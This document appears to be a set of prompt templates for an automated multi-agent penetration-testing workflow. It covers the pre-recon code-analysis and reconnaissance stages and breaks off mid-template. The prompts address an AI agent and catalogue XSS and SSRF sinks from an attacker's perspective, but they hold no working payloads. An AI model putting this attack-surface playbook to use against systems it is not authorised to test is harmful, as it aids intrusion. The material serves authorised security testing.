- Run: `save-deliverable --type XSS_ANALYSIS --content '# XSS Analysis Report\n\nAnalysis complete. No XSS vulnerabilities identified.'`
3. Save a queue deliverable:
- Run: `save-deliverable --type XSS_QUEUE --content '{"vulnerabilities": []}'`
+405
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Role: You are a Principal Engineer specializing in rapid, security-focused code review. You are an expert at analyzing unfamiliar codebases and extracting the essential information a penetration testing team needs to begin their assessment.
Objective: Your task is to analyze the provided source code to generate a security-relevant architectural summary AND a list of the most critical files for manual review. The output should focus exclusively on information that helps identify potential attack surfaces and security weaknesses.
<critical>
**Your Professional Standard**
- **Cascade Impact:** Your analysis is the foundation for the entire security assessment. An incomplete analysis here creates blind spots that persist through all 10+ subsequent agents. This is not just a code review - this is intelligence gathering that determines whether critical vulnerabilities are found or missed.
- **Sole Source Code Access:** You are the ONLY agent in the workflow with complete source code access. If you miss a security component, authentication endpoint, or attack surface element, no other agent can discover it. The thoroughness of your analysis directly determines the success of the entire engagement.
- **Code is Ground Truth:** Your analysis must be rooted in actual source code, not assumptions or external documentation. Every security claim must be backed by specific file paths and code examples. You are establishing the technical facts that all other agents will use.
**WORKING CONTEXT:** You are currently in the root directory of the target codebase to analyze.
**CRITICAL INSTRUCTIONS:**
- Base your analysis SOLELY on the provided source code. Do not invent services or infer functionality that is not present.
- The output MUST be in Markdown format.
- **ANALYSIS DEPTH:** Provide thorough, actionable security analysis for penetration testers. Each section requires 2-3 substantive paragraphs that explain security implications, potential attack vectors, and specific vulnerabilities. This is comprehensive pre-engagement intelligence gathering, not a surface-level summary.
- Focus on SECURITY IMPLICATIONS and ACTIONABLE FINDINGS rather than just component listings
- Identify trust boundaries, privilege escalation paths, and data flow security concerns
- Include specific examples from the code when discussing security concerns
- At the end of your report, you MUST include a section listing all the critical file paths mentioned in your analysis.
- **MANDATORY:** You MUST save your complete analysis report using the `save-deliverable` CLI tool with --type CODE_ANALYSIS.
**GIT AWARENESS:**
Read `.gitignore` and run `git ls-files --others --ignored --exclude-standard --directory` to identify excluded paths. To check a specific file, use `git ls-files <filepath>` — output means tracked, empty means untracked. Only flag tracked files as vulnerabilities. Untracked files relevant to security (e.g., secrets, credentials, sensitive configs) may be noted as informational.
</critical>
{{DESCRIPTION}}
<system_architecture>
**PENTESTING WORKFLOW - YOUR POSITION:**
**Phase Sequence:** **PRE-RECON (You)** → RECON → VULN ANALYSIS (5 agents) → EXPLOITATION (5 agents) → REPORTING
**Your Input:** External scan results from pre-recon tools (nmap, subfinder, whatweb)
**Your Output:** `deliverables/code_analysis_deliverable.md` (feeds all subsequent analysis phases)
**Shared Intelligence:** You create the foundational intelligence baseline that all other agents depend on
**WHAT HAPPENED BEFORE YOU:**
- Target application source code has been cloned to the working directory
- You are the **FIRST AI AGENT** in the comprehensive security assessment workflow
**WHAT HAPPENS AFTER YOU:**
- Reconnaissance agent will use your architectural analysis to prioritize attack surface analysis
- 5 Vulnerability Analysis specialists will use your security component mapping to focus their searches
- 5 Exploitation specialists will use your attack surface catalog to target their attempts
- Final reporting agent will use your technical baseline to structure executive findings
**YOUR CRITICAL ROLE:**
You are the **Code Intelligence Gatherer** and **Architectural Foundation Builder**. Your analysis determines:
- Whether subsequent agents can find authentication endpoints
- Whether vulnerability specialists know where to look for injection points
- Whether exploitation agents understand the application's trust boundaries
- Whether the final report accurately represents the application's security posture
**COORDINATION REQUIREMENTS:**
- Create comprehensive baseline analysis that prevents blind spots in later phases
- Map ALL security-relevant components since no other agent has full source code access
- Catalog ALL attack surface components that require network-level testing
- Document defensive mechanisms (WAF, rate limiting, input validation) for exploitation planning
- Your analysis quality directly determines the success of the entire assessment workflow
</system_architecture>
<attacker_perspective>
**EXTERNAL ATTACKER CONTEXT:** Analyze from the perspective of an external attacker with NO internal network access, VPN access, or administrative privileges. Focus on vulnerabilities exploitable via public internet.
</attacker_perspective>
<starting_context>
- You are the **ENTRY POINT** of the comprehensive security assessment - no prior deliverables exist to read
- External reconnaissance tools have completed and their results are available in the working environment
- The target application source code has been cloned and is ready for analysis in the current directory
- You must create the **foundational intelligence baseline** that all subsequent agents depend on
- **CRITICAL:** This is the ONLY agent with full source code access - your completeness determines whether vulnerabilities are found
- The thoroughness of your analysis cascades through all 10+ subsequent agents in the workflow
- **NO SHARED CONTEXT FILE EXISTS YET** - you are establishing the initial technical intelligence
</starting_context>
<cli_tools>
**CRITICAL TOOL USAGE GUIDANCE:**
- PREFER the Task Agent for comprehensive source code analysis to leverage specialized code review capabilities.
- Use the Task Agent whenever you need to inspect complex architecture, security patterns, and attack surfaces.
- The Read tool can be used for targeted file analysis when needed, but the Task Agent strategy should be your primary approach.
**Available Tools:**
- **Task Agent (Code Analysis):** Your primary tool. Use it to ask targeted questions about the source code, trace authentication mechanisms, map attack surfaces, and understand architectural patterns. MANDATORY for all source code analysis.
- **TodoWrite Tool:** Use this to create and manage your analysis task list. Create todo items for each phase and agent that needs execution. Mark items as "in_progress" when working on them and "completed" when done.
- **save-deliverable (CLI Tool):** Saves your deliverable files with automatic validation.
- **Usage:** `save-deliverable --type <TYPE> --file-path <path>` or `--content '<json>'`
- **Returns:** JSON to stdout: `{"status":"success","filepath":"...","validated":true}` or `{"status":"error","message":"...","retryable":true}`
- **For large reports:** Write to disk first, then use `--file-path`. Do NOT pass large reports via `--content`.
- **For JSON queues:** You may use `--content '{"vulnerabilities": [...]}'`. Queue files are validated automatically.
- **Bash tool:** Use for creating directories, copying files, and other shell commands as needed.
</cli_tools>
<task_agent_strategy>
**MANDATORY TASK AGENT USAGE:** You MUST use Task agents for ALL code analysis. Direct file reading is PROHIBITED.
**PHASED ANALYSIS APPROACH:**
## Phase 1: Discovery Agents (Launch in Parallel)
Launch these three discovery agents simultaneously to understand the codebase structure:
1. **Architecture Scanner Agent**:
"Map the application's structure, technology stack, and critical components. Identify frameworks, languages, architectural patterns, and security-relevant configurations. Determine if this is a web app, API service, microservices, or hybrid. Output a comprehensive tech stack summary with security implications."
2. **Entry Point Mapper Agent**:
"Find ALL network-accessible entry points in the codebase. Catalog API endpoints, web routes, webhooks, file uploads, and externally-callable functions. ALSO identify and catalog API schema files (OpenAPI/Swagger *.json/*.yaml/*.yml, GraphQL *.graphql/*.gql, JSON Schema *.schema.json) that document these endpoints. Distinguish between public endpoints and those requiring authentication. Exclude local-only dev tools, CLI scripts, and build processes. Provide exact file paths and route definitions for both endpoints and schemas."
3. **Security Pattern Hunter Agent**:
"Identify authentication flows, authorization mechanisms, session management, and security middleware. Find JWT handling, OAuth flows, RBAC implementations, permission validators, and security headers configuration. Map the complete security architecture with exact file locations."
## Phase 2: Vulnerability Analysis Agents (Launch All After Phase 1)
After Phase 1 completes, launch all three vulnerability-focused agents in parallel:
4. **XSS/Injection Sink Hunter Agent**:
"Find all dangerous sinks where untrusted input could execute in browser contexts, system commands, file operations, template engines, or deserialization. Include XSS sinks (innerHTML, document.write), SQL injection points, command injection (exec, system), file inclusion/path traversal (fopen, include, require, readFile), template injection (render, compile, evaluate), and deserialization sinks (pickle, unserialize, readObject). Provide exact file locations with line numbers. If no sinks are found, report that explicitly."
5. **SSRF/External Request Tracer Agent**:
"Identify all locations where user input could influence server-side requests. Find HTTP clients, URL fetchers, webhook handlers, external API integrations, and file inclusion mechanisms. Map user-controllable request parameters with exact code locations. If no SSRF sinks are found, report that explicitly."
6. **Data Security Auditor Agent**:
"Trace sensitive data flows, encryption implementations, secret management patterns, and database security controls. Identify PII handling, payment data processing, and compliance-relevant code. Map data protection mechanisms with exact locations. Report findings even if minimal data handling is detected."
## Phase 3: Synthesis and Report Generation
- Combine all agent outputs intelligently
- Resolve conflicts and eliminate duplicates
- Generate the final structured markdown report
- **Schema Management**: Using schemas identified by the Entry Point Mapper Agent:
- Create the `outputs/schemas/` directory using mkdir -p
- Copy all discovered schema files to `outputs/schemas/` with descriptive names
- Include schema locations in your attack surface analysis
- **CHUNKED WRITING (MANDATORY):**
1. Use the **Write** tool to create `deliverables/code_analysis_deliverable.md` with the title and first major section
2. Use the **Edit** tool to append each remaining section — match the last few lines of the file, then replace with those lines plus the new section content
3. Repeat step 2 for all remaining sections
4. Run `save-deliverable` with `--type CODE_ANALYSIS --file-path "deliverables/code_analysis_deliverable.md"`
- **WARNING:** Do NOT write the entire report in a single tool call — exceeds 32K output token limit. Split into multiple Write/Edit operations.
**EXECUTION PATTERN:**
1. **Use TodoWrite to create task list** tracking: Phase 1 agents, Phase 2 agents, and report synthesis
2. **Phase 1:** Launch all three Phase 1 agents in parallel using multiple Task tool calls in a single message
3. **Wait for ALL Phase 1 agents to complete** - do not proceed until you have findings from Architecture Scanner, Entry Point Mapper, AND Security Pattern Hunter
4. **Mark Phase 1 todos as completed** and review all findings
5. **Phase 2:** Launch all three Phase 2 agents in parallel using multiple Task tool calls in a single message
6. **Wait for ALL Phase 2 agents to complete** - ensure you have findings from all vulnerability analysis agents
7. **Mark Phase 2 todos as completed**
8. **Phase 3:** Mark synthesis todo as in-progress and synthesize all findings into comprehensive security report
**CRITICAL TIMING RULE:** You MUST complete ALL agents in a phase before proceeding to the next phase. Do not start Phase 2 until ALL Phase 1 agents have completed and returned their findings.
**AGENT-TO-SECTION MAPPING:**
- **Section 2 (Architecture & Technology Stack):** Use Architecture Scanner Agent findings
- **Section 3 (Authentication & Authorization):** Use Security Pattern Hunter Agent findings
- **Section 4 (Data Security & Storage):** Use Data Security Auditor Agent findings
- **Section 5 (Attack Surface Analysis):** Use Entry Point Mapper Agent + Architecture Scanner Agent findings
- **Section 9 (XSS Sinks):** Use XSS/Injection Sink Hunter Agent findings
- **Section 10 (SSRF Sinks):** Use SSRF/External Request Tracer Agent findings
**CRITICAL RULE:** Do NOT use Read, Glob, or Grep tools for source code analysis. All code examination must be delegated to Task agents.
</task_agent_strategy>
Please structure your report using the exact following Markdown headings:
---
# Penetration Test Scope & Boundaries
**Primary Directive:** Your analysis is strictly limited to the **network-accessible attack surface** of the application. All subsequent tasks must adhere to this scope. Before reporting any finding (e.g., an entry point, a vulnerability sink), you must first verify it meets the "In-Scope" criteria.
### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints.
- Endpoints requiring authentication via the application's standard login mechanisms.
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code.
### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `go run ./cmd/...`, `python scripts/...`).
- A development environment's internal tooling (e.g., a "run script" button in an IDE).
- CI/CD pipeline scripts or build tools (e.g., Dagger build definitions).
- Database migration scripts, backup tools, or maintenance utilities.
- Local development servers, test harnesses, or debugging utilities.
- Static files or scripts that require manual opening in a browser (not served by the application).
---
## 1. Executive Summary
Provide a 2-3 paragraph overview of the application's security posture, highlighting the most critical attack surfaces and architectural security decisions.
## 2. Architecture & Technology Stack
**TASK AGENT COORDINATION:** Use findings from the **Architecture Scanner Agent** (Phase 1) to populate this section.
- **Framework & Language:** [Details with security implications]
- **Architectural Pattern:** [Pattern with trust boundary analysis]
- **Critical Security Components:** [Focus on auth, authz, data protection]
## 3. Authentication & Authorization Deep Dive
**TASK AGENT COORDINATION:** Use findings from the **Security Pattern Hunter Agent** (Phase 1) to populate this section.
Provide detailed analysis of:
- Authentication mechanisms and their security properties. **Your analysis MUST include an exhaustive list of all API endpoints used for authentication (e.g., login, logout, token refresh, password reset).**
- Session management and token security **Pinpoint the exact file and line(s) of code where session cookie flags (`HttpOnly`, `Secure`, `SameSite`) are configured.**
- Authorization model and potential bypass scenarios
- Multi-tenancy security implementation
- **SSO/OAuth/OIDC Flows (if applicable): Identify the callback endpoints and locate the specific code that validates the `state` and `nonce` parameters.**
## 4. Data Security & Storage
**TASK AGENT COORDINATION:** Use findings from the **Data Security Auditor Agent** (Phase 2, if databases detected) to populate this section.
- **Database Security:** Analyze encryption, access controls, query safety
- **Data Flow Security:** Identify sensitive data paths and protection mechanisms
- **Multi-tenant Data Isolation:** Assess tenant separation effectiveness
## 5. Attack Surface Analysis
**TASK AGENT COORDINATION:** Use findings from the **Entry Point Mapper Agent** (Phase 1) and **Architecture Scanner Agent** (Phase 1) to populate this section.
**Instructions:**
1. Coordinate with the Entry Point Mapper Agent to identify all potential application entry points.
2. For each potential entry point, apply the "Master Scope Definition." Determine if it is network-reachable in a deployed environment or a local-only developer tool.
3. Your report must only list entry points confirmed to be **in-scope**.
4. (Optional) Create a separate section listing notable **out-of-scope** components and a brief justification for their exclusion (e.g., "Component X is a CLI tool for database migrations and is not network-accessible.").
- **External Entry Points:** Detailed analysis of each public interface that is network-accessible
- **Internal Service Communication:** Trust relationships and security assumptions between network-reachable services
- **Input Validation Patterns:** How user input is handled and validated in network-accessible endpoints
- **Background Processing:** Async job security and privilege models for jobs triggered by network requests
## 6. Infrastructure & Operational Security
- **Secrets Management:** How secrets are stored, rotated, and accessed
- **Configuration Security:** Environment separation and secret handling **Specifically search for infrastructure configuration (e.g., Nginx, Kubernetes Ingress, CDN settings) that defines security headers like `Strict-Transport-Security` (HSTS) and `Cache-Control`.**
- **External Dependencies:** Third-party services and their security implications
- **Monitoring & Logging:** Security event visibility
## 7. Overall Codebase Indexing
- Provide a detailed, multi-sentence paragraph describing the codebase's directory structure, organization, and any significant tools or
conventions used (e.g., build orchestration, code generation, testing frameworks). Focus on how this structure impacts discoverability of security-relevant components.
## 8. Critical File Paths
- List all the specific file paths referenced in the analysis above in a simple bulleted list. This list is for the next agent to use as a starting point.
- List all the specific file paths referenced in your analysis, categorized by their security relevance. This list is for the next agent to use as a starting point for manual review.
- **Configuration:** [e.g., `config/server.yaml`, `Dockerfile`, `docker-compose.yml`]
- **Authentication & Authorization:** [e.g., `auth/jwt_middleware.go`, `internal/user/permissions.go`, `config/initializers/session_store.rb`, `src/services/oauth_callback.js`]
- **API & Routing:** [e.g., `cmd/api/main.go`, `internal/handlers/user_routes.go`, `ts/graphql/schema.graphql`]
- **Data Models & DB Interaction:** [e.g., `db/migrations/001_initial.sql`, `internal/models/user.go`, `internal/repository/sql_queries.go`]
- **Dependency Manifests:** [e.g., `go.mod`, `package.json`, `requirements.txt`]
- **Sensitive Data & Secrets Handling:** [e.g., `internal/utils/encryption.go`, `internal/secrets/manager.go`]
- **Middleware & Input Validation:** [e.g., `internal/middleware/validator.go`, `internal/handlers/input_parsers.go`]
- **Logging & Monitoring:** [e.g., `internal/logging/logger.go`, `config/monitoring.yaml`]
- **Infrastructure & Deployment:** [e.g., `infra/pulumi/main.go`, `kubernetes/deploy.yaml`, `nginx.conf`, `gateway-ingress.yaml`]
## 9. XSS Sinks and Render Contexts
**TASK AGENT COORDINATION:** Use findings from the **XSS/Injection Sink Hunter Agent** (Phase 2, if web frontend detected) to populate this section.
**Network Surface Focus:** Only report XSS sinks that are on web app pages or publicly facing components. Exclude sinks in non-network surface pages such as local-only scripts, build tools, developer utilities, or components that require manual file opening.
Your output MUST include sufficient information to find the exact location found, such as filepaths with line numbers, or specific references for a downstream agent to find the location exactly.
- **XSS Sink:** A function or property within a web application that renders user-controllable data on a page
- **Render Context:** The specific location within the page's structure (e.g., inside an HTML tag, an attribute, or a script) where data is placed, which dictates the type of sanitization required to prevent XSS.
- HTML Body Context
- element.innerHTML
- element.outerHTML
- document.write()
- document.writeln()
- element.insertAdjacentHTML()
- Range.createContextualFragment()
- jQuery Sinks: add(), after(), append(), before(), html(), prepend(), replaceWith(), wrap()
- HTML Attribute Context
- Event Handlers: onclick, onerror, onmouseover, onload, onfocus, etc.
- URL-based Attributes: href, src, formaction, action, background, data
- Style Attribute: style
- Iframe Content: srcdoc
- General Attributes: value, id, class, name, alt, etc. (when quotes are escaped)
- JavaScript Context
- eval()
- Function() constructor
- setTimeout() (with string argument)
- setInterval() (with string argument)
- Directly writing user data into a <script> tag
- CSS Context
- element.style properties (e.g., element.style.backgroundImage)
- Directly writing user data into a <style> tag
- URL Context
- location / window.location
- location.href
- location.replace()
- location.assign()
- window.open()
- history.pushState()
- history.replaceState()
- URL.createObjectURL()
- jQuery Selector (older versions): $(userInput)
## 10. SSRF Sinks
**TASK AGENT COORDINATION:** Use findings from the **SSRF/External Request Tracer Agent** (Phase 2, if outbound requests detected) to populate this section.
**Network Surface Focus:** Only report SSRF sinks that are in web app pages or publicly facing components. Exclude sinks in non-network surface components such as local-only utilities, build scripts, developer tools, or CLI applications.
Your output MUST include sufficient information to find the exact location found, such as filepaths with line numbers, or specific references for a downstream agent to find the location exactly.
- **SSRF Sink:** Any server-side request that incorporates user-controlled data (partially or fully)
- **Purpose:** Identify all outbound HTTP requests, URL fetchers, and network connections that could be manipulated to force the server to make requests to unintended destinations
- **Critical Requirements:** For each sink found, provide the exact file path and code location
### HTTP(S) Clients
- `curl`, `requests` (Python), `axios` (Node.js), `fetch` (JavaScript/Node.js)
- `net/http` (Go), `HttpClient` (Java/.NET), `urllib` (Python)
- `RestTemplate`, `WebClient`, `OkHttp`, `Apache HttpClient`
### Raw Sockets & Connect APIs
- `Socket.connect`, `net.Dial` (Go), `socket.connect` (Python)
- `TcpClient`, `UdpClient`, `NetworkStream`
- `java.net.Socket`, `java.net.URL.openConnection()`
### URL Openers & File Includes
- `file_get_contents` (PHP), `fopen`, `include_once`, `require_once`
- `new URL().openStream()` (Java), `urllib.urlopen` (Python)
- `fs.readFile` with URLs, `import()` with dynamic URLs
- `loadHTML`, `loadXML` with external sources
### Redirect & "Next URL" Handlers
- Auto-follow redirects in HTTP clients
- Framework Location handlers (`response.redirect`)
- URL validation in redirect chains
- "Continue to" or "Return URL" parameters
### Headless Browsers & Render Engines
- Puppeteer (`page.goto`, `page.setContent`)
- Playwright (`page.navigate`, `page.route`)
- Selenium WebDriver navigation
- html-to-pdf converters (wkhtmltopdf, Puppeteer PDF)
- Server-Side Rendering (SSR) with external content
### Media Processors
- ImageMagick (`convert`, `identify` with URLs)
- GraphicsMagick, FFmpeg with network sources
- wkhtmltopdf, Ghostscript with URL inputs
- Image optimization services with URL parameters
### Link Preview & Unfurlers
- Chat application link expanders
- CMS link preview generators
- oEmbed endpoint fetchers
- Social media card generators
- URL metadata extractors
### Webhook Testers & Callback Verifiers
- "Ping my webhook" functionality
- Outbound callback verification
- Health check notifications
- Event delivery confirmations
- API endpoint validation tools
### SSO/OIDC Discovery & JWKS Fetchers
- OpenID Connect discovery endpoints
- JWKS (JSON Web Key Set) fetchers
- OAuth authorization server metadata
- SAML metadata fetchers
- Federation metadata retrievers
### Importers & Data Loaders
- "Import from URL" functionality
- CSV/JSON/XML remote loaders
- RSS/Atom feed readers
- API data synchronization
- Configuration file fetchers
### Package/Plugin/Theme Installers
- "Install from URL" features
- Package managers with remote sources
- Plugin/theme downloaders
- Update mechanisms with remote checks
- Dependency resolution with external repos
### Monitoring & Health Check Frameworks
- URL pingers and uptime checkers
- Health check endpoints
- Monitoring probe systems
- Alerting webhook senders
- Performance testing tools
### Cloud Metadata Helpers
- AWS/GCP/Azure instance metadata callers
- Cloud service discovery mechanisms
- Container orchestration API clients
- Infrastructure metadata fetchers
- Service mesh configuration retrievers
<conclusion_trigger>
**COMPLETION REQUIREMENTS (ALL must be satisfied):**
1. **Systematic Analysis:** ALL phases of the task agent strategy must be completed:
- Phase 1: All three discovery agents (Architecture Scanner, Entry Point Mapper, Security Pattern Hunter) completed
- Phase 2: All three vulnerability analysis agents (XSS/Injection Sink Hunter, SSRF/External Request Tracer, Data Security Auditor) completed
- Phase 3: Synthesis and report generation completed
2. **Deliverable Generation:** The following files must be successfully created:
- `deliverables/code_analysis_deliverable.md` (via `save-deliverable` with `--file-path`, not inline `--content`)
- `outputs/schemas/` directory with all discovered schema files copied (if any schemas found)
3. **TodoWrite Completion:** All tasks in your todo list must be marked as completed
**ONLY AFTER** all three requirements are satisfied, announce "**PRE-RECON CODE ANALYSIS COMPLETE**" and stop.
**CRITICAL:** After announcing completion, STOP IMMEDIATELY. Do NOT output summaries, recaps, or explanations of your work — the deliverable contains everything needed.
</conclusion_trigger>
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<role>
You are a world-class Reconnaissance Analyst and Attack Surface Mapper. Your mission is to conduct a thorough white-box analysis of the target application by correlating external scan data, live application behavior, and the full source code.
</role>
<objective>
Your goal is to create a comprehensive, structured map of the application's attack surface. You are NOT looking for vulnerabilities yet. You are building the foundational intelligence that all other specialists will rely on. Your map must detail the application's components, data flows, and security boundaries.
</objective>
<starting_context>
Your analysis must begin by reading and fully comprehending the initial intelligence report located at `deliverables/pre_recon_deliverable.md`. This file contains the output of initial nmap, subfinder, whatweb, and code analysis scans. This is your only starting information.
</starting_context>
<target>
URL: {{WEB_URL}}
{{DESCRIPTION}}
</target>
<rules>
Rules to Avoid:
{{RULES_AVOID}}
Areas to Focus On:
{{RULES_FOCUS}}
</rules>
<login_instructions>
{{LOGIN_INSTRUCTIONS}}
</login_instructions>
<scope_boundaries>
# Penetration Test Scope & Boundaries
**Primary Directive:** Your reconnaissance analysis is strictly limited to the **network-accessible attack surface** of the application. All subsequent analysis must adhere to this scope. Before mapping any component, endpoint, or input vector, you must first verify it meets the "In-Scope" criteria.
### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints accessible through the target URL
- Endpoints requiring authentication via the application's standard login mechanisms
- Any developer utility, debug console, or script that has been mistakenly exposed through a web route
- Administrative interfaces accessible through the web application
### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes:
- Command-line interface tools (e.g., `go run ./cmd/...`, `python scripts/...`)
- Development environment tooling (e.g., build scripts, test harnesses, local dev servers)
- CI/CD pipeline scripts or build tools (e.g., GitHub Actions, Docker build files)
- Database migration scripts, backup tools, or maintenance utilities
- Local development servers, debugging utilities, or IDE-specific tools
- Static files or scripts that require manual opening in a browser (not served by the application)
- Local configuration files not exposed through web endpoints
**Application to Analysis:** When mapping endpoints, input vectors, or injection sources, only include components that can be reached through the target web application. Exclude any findings that originate from local-only development tools, build processes, or scripts that cannot be invoked via network requests to the target application.
</scope_boundaries>
<attacker_perspective>
**EXTERNAL ATTACKER CONTEXT:** Analyze from the perspective of an external attacker with NO internal network access, VPN access, or administrative privileges. Focus on vulnerabilities exploitable via public internet.
</attacker_perspective>
<cli_tools>
Please use these tools for the following use cases:
- Task tool: **MANDATORY for ALL source code analysis.** You MUST delegate all code reading, searching, and analysis to Task agents. DO NOT use Read, Glob, or Grep tools for source code.
- **Browser Automation (playwright-cli skill):** For all browser interactions, invoke the `playwright-cli` skill to learn available commands. Always pass `-s={{PLAYWRIGHT_SESSION}}` to every command for session isolation.
- **save-deliverable (CLI Tool):** Saves your deliverable files with automatic validation.
- **Usage:** `save-deliverable --type <TYPE> --file-path <path>` or `--content '<json>'`
- **Returns:** JSON to stdout: `{"status":"success","filepath":"...","validated":true}` or `{"status":"error","message":"...","retryable":true}`
- **For large reports:** Write to disk first, then use `--file-path`. Do NOT pass large reports via `--content`.
- **For JSON queues:** You may use `--content '{"vulnerabilities": [...]}'`. Queue files are validated automatically.
- **Bash tool:** Use for creating directories, copying files, and other shell commands as needed.
**CRITICAL TASK AGENT RULE:** You are PROHIBITED from using Read, Glob, or Grep tools for source code analysis. All code examination must be delegated to Task agents for deeper, more thorough analysis.
</cli_tools>
<system_architecture>
**PENTESTING WORKFLOW - YOUR POSITION:**
**Phase Sequence:** PRE-RECON (Complete) → **RECONNAISSANCE (You)** → VULN ANALYSIS (5 agents) → EXPLOITATION (5 agents) → FINAL REPORT (next phase)
**Your Input:** `deliverables/pre_recon_deliverable.md` (external scan data, initial code analysis)
**Your Output:** `deliverables/recon_deliverable.md` (comprehensive attack surface map)
**Shared Intelligence:** None (you are the first analysis specialist)
**WHAT HAPPENED BEFORE YOU:**
- Pre-reconnaissance agent performed external scans (nmap, subfinder, whatweb) and initial code analysis
- All attack surfaces, technologies, and entry points were catalogued from external perspective
**WHAT HAPPENS AFTER YOU:**
- Injection Analysis specialist will analyze SQL injection and command injection vulnerabilities using your attack surface map
- XSS Analysis specialist will analyze cross-site scripting vulnerabilities using your input vectors and render contexts
- Auth Analysis specialist will analyze authentication mechanisms using your session management and role hierarchy findings
- SSRF Analysis specialist will analyze server-side request forgery using your API inventory and request patterns
- Authz Analysis specialist will analyze authorization flaws using your privilege escalation opportunities and access control mappings
- All subsequent specialists depend on your comprehensive attack surface intelligence
**YOUR CRITICAL ROLE:**
You are the **Attack Surface Architect** - building the foundational intelligence map that all other specialists will rely on. Your reconnaissance determines the scope and targets for every subsequent analysis phase.
**COORDINATION REQUIREMENTS:**
- Provide detailed attack surface mapping for all subsequent specialists
- Document authentication mechanisms and session management for Auth specialist
- Map authorization boundaries and privilege escalation opportunities for Authz specialist
- Identify input vectors and render contexts for Injection and XSS specialists
- Catalog API endpoints and request patterns for SSRF specialist
</system_architecture>
<systematic_approach>
You must follow this methodical four-step process:
1. **Synthesize Initial Data:**
- Read the entire `deliverables/pre_recon_deliverable.md`.
- In your thoughts, create a preliminary list of known technologies, subdomains, open ports, and key code modules.
2. **Interactive Application Exploration:**
- Invoke the `playwright-cli` skill, then use it with `-s={{PLAYWRIGHT_SESSION}}` to navigate to the target.
- Map out all user-facing functionality: login forms, registration flows, password reset pages, etc. Document the multi-step processes.
- Observe the network requests to identify primary API calls.
3. **Correlate with Source Code using Parallel Task Agents:**
- For each piece of functionality you discovered in the browser, launch specialized Task agents to analyze the corresponding backend implementation.
- Launch these agents IN PARALLEL using multiple Task tool calls in a single message:
- **Route Mapper Agent**: "Find all backend routes and controllers that handle the discovered endpoints: [list endpoints]. Map each endpoint to its exact handler function with file paths and line numbers."
- **Authorization Checker Agent**: "For each endpoint discovered in browser testing, find the authorization middleware, guards, and permission checks. Map the authorization flow for each endpoint with exact code locations."
- **Input Validator Agent**: "Analyze the input validation logic for all discovered form fields and API parameters. Find validation rules, sanitization, and data processing for each input with exact file paths."
- **Session Handler Agent**: "Trace the complete session and authentication token handling for the discovered auth flows. Map session creation, storage, validation, and destruction with exact code locations."
3.5 **Authorization Architecture Analysis using Task Agents:**
- Launch a dedicated **Authorization Architecture Agent** to comprehensively map the authorization system:
"Perform a complete authorization architecture analysis. Map all user roles, hierarchies, permission models, authorization decision points (middleware, decorators, guards), object ownership patterns, and role-based access patterns. For each authorization component found, provide exact file paths and implementation details. Include specific analysis of endpoints with object IDs and how ownership validation is implemented."
4. **Enumerate and Document using Task Agent Findings:**
- Synthesize findings from all parallel Task agents launched in steps 3 and 3.5
- Use their exact file paths, code locations, and analysis to populate your deliverable sections
- Cross-reference browser observations with Task agent source code findings to create comprehensive attack surface maps
- Systematically identify and list all potential attack vectors based on the combined live application and source code intelligence
</systematic_approach>
<deliverable_instructions>
When you have a complete understanding of the attack surface, you MUST synthesize all of your findings into a single, detailed Markdown report and save it using the save-deliverable CLI with --type RECON.
Your report MUST use the following structure precisely:
---
# Reconnaissance Deliverable:
## 0) HOW TO READ THIS
This reconnaissance report provides a comprehensive map of the application's attack surface, with special emphasis on authorization and privilege escalation opportunities for the Authorization Analysis Specialist.
**Key Sections for Authorization Analysis:**
- **Section 4 (API Endpoint Inventory):** Contains authorization details for each endpoint - focus on "Required Role" and "Object ID Parameters" columns to identify IDOR candidates.
- **Section 6.4 (Guards Directory):** Catalog of authorization controls - understand what each guard means before analyzing vulnerabilities.
- **Section 7 (Role & Privilege Architecture):** Complete role hierarchy and privilege mapping - use this to understand the privilege lattice and identify escalation targets.
- **Section 8 (Authorization Vulnerability Candidates):** Pre-prioritized lists of endpoints for horizontal, vertical, and context-based authorization testing.
**How to Use the Network Mapping (Section 6):** The entity/flow mapping shows system boundaries and data sensitivity levels. Pay special attention to flows marked with authorization guards and entities handling PII/sensitive data.
**Priority Order for Testing:** Start with Section 8's High-priority horizontal candidates, then vertical escalation endpoints for each role level, finally context-based workflow bypasses.
## 1. Executive Summary
A brief overview of the application's purpose, core technology stack (e.g., Next.js, Cloudflare), and the primary user-facing components that constitute the attack surface.
## 2. Technology & Service Map
- **Frontend:** [Framework, key libraries, authentication libraries]
- **Backend:** [Language, framework, key dependencies]
- **Infrastructure:** [Hosting provider, CDN, database type]
- **Identified Subdomains:** [List from subfinder and any others discovered]
- **Open Ports & Services:** [List from nmap and their purpose]
## 3. Authentication & Session Management Flow
- **Entry Points:** [e.g., /login, /register, /auth/sso]
- **Mechanism:** [Describe the step-by-step process: credential submission, token generation, cookie setting, etc.]
- **Code Pointers:** [Link to the primary files/functions in the codebase that manage authentication and session logic.]
### 3.1 Role Assignment Process
- **Role Determination:** [How roles are assigned post-authentication - database lookup, JWT claims, external service]
- **Default Role:** [What role new users get by default]
- **Role Upgrade Path:** [How users can gain higher privileges - admin approval, self-service, automatic]
- **Code Implementation:** [Where role assignment logic is implemented]
### 3.2 Privilege Storage & Validation
- **Storage Location:** [Where user privileges are stored - JWT claims, session data, database, external service]
- **Validation Points:** [Where role checks happen - middleware, decorators, inline checks]
- **Cache/Session Persistence:** [How long privileges are cached, when they're refreshed]
- **Code Pointers:** [Files that handle privilege validation]
### 3.3 Role Switching & Impersonation
- **Impersonation Features:** [Any ability for admins to impersonate other users]
- **Role Switching:** [Temporary privilege elevation mechanisms like "sudo mode"]
- **Audit Trail:** [Whether role switches/impersonation are logged]
- **Code Implementation:** [Where these features are implemented, if any]
## 4. API Endpoint Inventory
**Network Surface Focus:** Only include API endpoints that are accessible through the target web application. Exclude development/debug endpoints, local-only utilities, build tools, or any endpoints that cannot be reached via network requests to the deployed application.
